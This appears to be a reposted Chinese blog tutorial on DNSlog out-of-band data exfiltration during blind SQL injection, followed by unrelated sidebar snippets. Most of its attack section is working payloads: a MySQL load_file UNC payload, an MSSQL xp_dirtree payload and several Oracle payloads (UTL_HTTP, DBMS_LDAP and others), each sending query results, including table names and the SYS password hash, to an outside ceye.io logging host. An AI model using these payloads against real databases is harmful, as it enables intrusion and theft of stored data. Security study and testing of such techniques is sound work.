dnslog

摘要:
数据爆炸也很慢,所以我们需要使用dnslog盲注入。0x01 dnslog盲注入的条件dnslog的盲注入有一定的限制,条件是secure_file_Priv必须为空,并且是windows系统。添加后,直接查询Windows,但不支持Linux,原因如下:load_file函数不能用于Linux下的dnslog攻击,因为它涉及Windows的一小部分--UNC路径。当某些sqlserver没有echo,Oracle注入没有echo、ssrf、xxe,并且命令执行没有echo时,也可以使用dnslog来回显示。
 0x00  前言

我们在盲注的时候,会非常的繁杂,发起大量的请求容易被禁ip。
爆数据的时候也比较慢,所以我们需要用到dnslog盲注。


0x01  dnslog盲注
dnslog盲注条件:
dnslog 盲注有一定的局限性,条件是secure_file_priv必须为空并且是windows系统。
secure_file_priv= null  不允许导入导出
secure_file_priv = /tmp   只允许在tmp 目录导入导出
secure_file_priv  =          没有具体的值

show global variables like '%secure%';
查看secure_file_priv 的值

如果没有需要手工设置。
可修改mysql配置文件Windows下为my.ini, 在[mysqld]下面,查看是否有:
secure_file_priv =

没有就手工添加。
添加完成后直接来查询
Windows但不支持 Linux ,原因如下:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式
。因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
mysql 盲注构造 payload
and load_file(concat('\\',(select database()),'.fbuf5n.ceye.io\abc'))
dnslog第1张



就可以看到数据库名已经被回显在dns平台上。
在一些sqlserver无回显, Oracle注入无回显、ssrf 、xxe、命令执行无回显的时候也可以用到dnslog来回显出来。
sqlserver :

payload:
DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 name from  master.dbo.sysobjects where xtype = 'u')+'.fbut5n.ceye.io';EXEC('master..xp_dirtree"\'+@host+'foobar$"');

dnslog第2张



oracle:
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
dnslog 平台:
http://ceye.io/
0x02  尾声
渗透在于折腾 

免责声明:文章转载自《dnslog》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇WinForm下的键盘事件(KeyPress、KeyDown)及如何处理不响应键盘事件PLSQL Developer使用大全下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

随便看看

UOS怎么安装谷歌浏览器

这是安装完成的截图点击UOS左下角启动器图标,拉至最底下,找到“Chromium网页浏览器”,点击启动以下是启动的界面截图...

Visual studio之C#实现数字输入模拟键盘

所以我想自己实现软键盘。这篇文章是来做记录的。在Load event表单中,添加所有标签控件的click event mybutton _ clicked,privatevoidlazerctrl _ Load{//注册键盘,单击事件keyb1。单击+=newEventHandler;keyb2。单击+=newEventHandler,keyb3。单击++=...

用python调用caffe时出错:AttributeError: 'module' object has no attribute 'bool_'

下面给出了一个解决方案,即重命名冲突的io文件:numpyと PyCaffe公司が io。年が 竞争す る よ で す$ pythonclassify。py--raw_scale255~/caffe/101_ObjectCategories/airaires/image_0001.jpg../result.npyTraceback:文件“classif.py...

Java 读取ANSI文件中文乱码问题解决方式[转]

Filefile=newFile(路径);InputStreamin=newjava.io.FileInputStream(文件);BufferedReader读取器=新的BufferedReader(读取);FileInputStreamin=newFileInputStream(文件);byte[]b=新字节[3];内容如下(b);...

mac格式化重装系统

4.选择“重新安装MacOS”5.按照以下步骤中的提示进行操作。安装需要半个多小时。在此期间无法断开网络,否则需要重新安装...

antd中,popover 不同情境下设置不同背景图,无法设置className的情况

于是就想通过设置不同的status值来添加不同的className,以设置.ant-popover-inner的样式来设置背景图,当然,这样做有一个不完美的就是不能一步到位的全部改变,需要手动更改.ant-popover-placement-bottom˃.ant-popover-content˃.ant-popover-arrow来替换那个角角的值。问题就...